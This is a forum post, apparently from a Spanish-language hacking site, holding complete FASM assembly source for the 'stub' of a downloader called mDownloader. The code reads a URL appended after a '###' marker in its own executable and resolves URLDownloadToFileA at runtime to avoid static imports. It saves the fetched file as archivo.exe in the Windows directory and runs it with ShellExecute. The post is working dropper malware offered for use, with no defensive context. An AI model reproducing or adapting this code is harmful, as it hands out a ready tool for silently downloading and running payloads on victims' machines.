Código: Seleccionar todo
;Stub de mDownloader
;Codeado por Drinky94 en diciembre de 2010
;www.drinky94. artehack .net
include 'win32ax.inc'
.data
ruta dd ?
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
dll db 'urlmon.dll',0
funcion db 'URLDownloadToFileA',0
mUrl dd ?
dlls db 'msvcrt.dll',0
funcions db 'getenv',0
shell dd ?
user db 'windir',0
añadir db '\archivo.exe',0
destino dd ?
.code
start:
invoke GlobalAlloc,GPTR,1024
mov [ruta],eax
invoke GetModuleFileName,0,[ruta],1024
invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
mov ecx,1
mov eax,[espacio]
add [larchivo],10
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
salir:
invoke LoadLibrary,dlls
invoke GetProcAddress,eax,funcions
mov [shell],eax
push user
call [shell]
invoke lstrcat,eax,añadir
mov [destino],eax
invoke LoadLibrary,dll
invoke GetProcAddress,eax,funcion
mov [mUrl],eax
push 0
push 0
push [destino]
push [espacio]
push 0
call [mUrl]
invoke ShellExecute,0,"open",[destino],0,0,0
leave
ret
.end start
salu2!